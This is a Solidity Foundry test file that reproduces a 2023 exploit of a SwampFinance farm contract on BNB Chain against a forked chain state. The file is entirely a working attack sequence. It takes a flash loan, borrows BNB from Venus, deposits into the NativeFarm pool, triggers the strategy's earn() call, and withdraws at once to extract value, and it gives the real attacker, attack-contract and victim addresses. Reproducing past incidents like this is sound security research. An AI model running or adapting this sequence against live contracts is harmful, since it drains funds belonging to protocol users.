src/test/2023-11/SwampFinance_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "./../basetest.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : Unclear
8// Attacker : https://bscscan.com/address/0xfe2105e1317dfd6ed3887bf7882977c03cfebb7c
9// Attack Contract : https://bscscan.com/address/0x22ad9eef79615a1592e969bdf7b238a07281ab80
10// Vulnerable Contract : https://bscscan.com/address/0x33adbf5f1ec364a4ea3a5ca8f310b597b8afdee3
11// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x13e75878a21af9a9b2207f5d9e18f19a43083a9ffbac36df5a7d4d67a52c164f
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x33adbf5f1ec364a4ea3a5ca8f310b597b8afdee3#code#L1609
15 
16// @Analysis
17// Post-mortem :
18// Twitter Guy : https://x.com/MetaSec_xyz/status/1720373044517208261
19// Hacking God :
20 
21interface IbeltBNB {
22    function approve(address spender, uint256 amount) external returns (bool);
23 
24    function balanceOf(
25        address owner
26    ) external view returns (uint256);
27 
28    function transferFrom(address from, address to, uint256 value) external returns (bool);
29 
30    function deposit(uint256 _amount, uint256 _minShares) external;
31 
32    function withdraw(uint256 _shares, uint256 _minAmount) external;
33}
34 
35interface INativeFarm {
36    function deposit(uint256 _pid, uint256 _wantAmt) external;
37 
38    function withdraw(uint256 _pid, uint256 _wantAmt) external;
39}
40 
41interface IStrategyBeltToken {
42    function earn() external;
43}
44 
45contract SwampFinanceExploit is Test {
46    IWBNB private constant WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
47    IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
48    IbeltBNB private constant beltBNB = IbeltBNB(0xa8Bb71facdd46445644C277F9499Dd22f6F0A30C);
49    DVM private constant DPPOracle = DVM(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);
50    ICointroller private constant VenusDistribution = ICointroller(0xfD36E2c2a6789Db23113685031d7F16329158384);
51    ICErc20Delegate private constant vUSDT = ICErc20Delegate(payable(0xfD5840Cd36d94D7229439859C0112a4185BC0255));
52    crETH private constant vBNB = crETH(payable(0xA07c5b74C9B40447a954e1466938b865b6BBea36));
53    INativeFarm private constant NativeFarm = INativeFarm(0x33AdBf5f1ec364a4ea3a5CA8f310B597B8aFDee3);
54    IStrategyBeltToken private constant StrategyBeltToken =
55        IStrategyBeltToken(0xdA937DDD1F2bd57F507f5764a4F9550c750F7B31);
56 
57    uint256 private constant blocknumToForkFrom = 33_112_358;
58 
59    function setUp() public {
60        vm.createSelectFork("bsc", blocknumToForkFrom);
61        vm.label(address(WBNB), "WBNB");
62        vm.label(address(BUSDT), "BUSDT");
63        vm.label(address(beltBNB), "beltBNB");
64        vm.label(address(DPPOracle), "DPPOracle");
65        vm.label(address(VenusDistribution), "VenusDistribution");
66        vm.label(address(vUSDT), "vUSDT");
67        vm.label(address(vBNB), "vBNB");
68        vm.label(address(NativeFarm), "NativeFarm");
69        vm.label(address(StrategyBeltToken), "StrategyBeltToken");
70    }
71 
72    function testExploit() public {
73        deal(address(this), 0);
74        // In the begining transfer tokens from exploiter to attack contract
75        deal(address(WBNB), address(this), 1e15);
76        deal(address(BUSDT), address(this), 155_049_710_721_328_089);
77        deal(address(beltBNB), address(this), 1_272_113_372_028_660);
78 
79        emit log_named_decimal_uint(
80            "Exploiter WBNB balance before attack", WBNB.balanceOf(address(this)), WBNB.decimals()
81        );
82 
83        DPPOracle.flashLoan(3100e18, 150_000e18, address(this), bytes("_"));
84 
85        emit log_named_decimal_uint(
86            "Exploiter WBNB balance after attack", WBNB.balanceOf(address(this)), WBNB.decimals()
87        );
88    }
89 
90    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
91        approveAll();
92        address[] memory vTokens = new address[](2);
93        vTokens[0] = address(vUSDT);
94        vTokens[1] = address(vBNB);
95        VenusDistribution.enterMarkets(vTokens);
96 
97        uint256 cachedBUSDTbalance = BUSDT.balanceOf(address(this));
98        vUSDT.mint(cachedBUSDTbalance);
99        vBNB.borrow(500 ether);
100        WBNB.deposit{value: address(this).balance}();
101        beltBNB.deposit(WBNB.balanceOf(address(this)), 1);
102        NativeFarm.deposit(135, beltBNB.balanceOf(address(this)));
103        StrategyBeltToken.earn();
104        NativeFarm.withdraw(135, type(uint256).max);
105        beltBNB.withdraw(beltBNB.balanceOf(address(this)), 1);
106        WBNB.withdraw(500 ether);
107        vBNB.repayBorrow{value: 500 ether}();
108        vUSDT.redeemUnderlying(cachedBUSDTbalance);
109 
110        WBNB.transfer(address(DPPOracle), baseAmount);
111        BUSDT.transfer(address(DPPOracle), quoteAmount);
112    }
113 
114    receive() external payable {}
115 
116    function approveAll() private {
117        BUSDT.approve(address(vUSDT), type(uint256).max);
118        WBNB.approve(address(beltBNB), type(uint256).max);
119        beltBNB.approve(address(NativeFarm), type(uint256).max);
120        beltBNB.approve(address(beltBNB), type(uint256).max);
121    }
122}